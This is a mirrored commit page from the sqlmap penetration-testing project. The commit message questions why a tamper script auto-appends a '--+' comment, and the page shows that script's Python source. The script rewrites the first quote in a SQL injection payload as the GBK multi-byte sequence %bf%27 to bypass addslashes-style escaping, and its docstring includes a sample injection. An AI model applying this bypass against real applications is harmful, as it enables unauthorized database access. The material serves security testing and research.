mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-02-12 18:30:35 +03:00
For some reason this tamper script automatically adds --+ in some cases. Unless I'm mistaken, normally this is something that should be handled by the different payloads (payloads.xml). I have found cases where using this script failed because it would add --+ even though the payload was trying to use #, and the application in question was blacklisting on --. Removing these lines allowed the script to work and payloads using either -- or # should work as normal. Is there some particular reason for wanting to auto-add --+ within this tamper script?
48 lines
1.0 KiB
Python
48 lines
1.0 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import re
|
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
__priority__ = PRIORITY.NORMAL
|
|
|
|
def dependencies():
|
|
pass
|
|
|
|
def tamper(payload, **kwargs):
|
|
"""
|
|
Replaces quote character (') with a multi-byte combo %bf%27 together with
|
|
generic comment at the end (to make it work)
|
|
|
|
Notes:
|
|
* Useful for bypassing mysql_real_escape_string/magic_quotes/addslashes feature
|
|
* Particularly for servers using GBK encoding
|
|
|
|
Reference:
|
|
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
|
|
|
|
>>> tamper("1' AND 1=1")
|
|
'1%bf%27 AND 1=1-- '
|
|
"""
|
|
|
|
retVal = payload
|
|
|
|
if payload:
|
|
found = False
|
|
retVal = ""
|
|
|
|
for i in xrange(len(payload)):
|
|
if payload[i] == '\'' and not found:
|
|
retVal += "%bf%27"
|
|
found = True
|
|
else:
|
|
retVal += payload[i]
|
|
continue
|
|
|
|
return retVal
|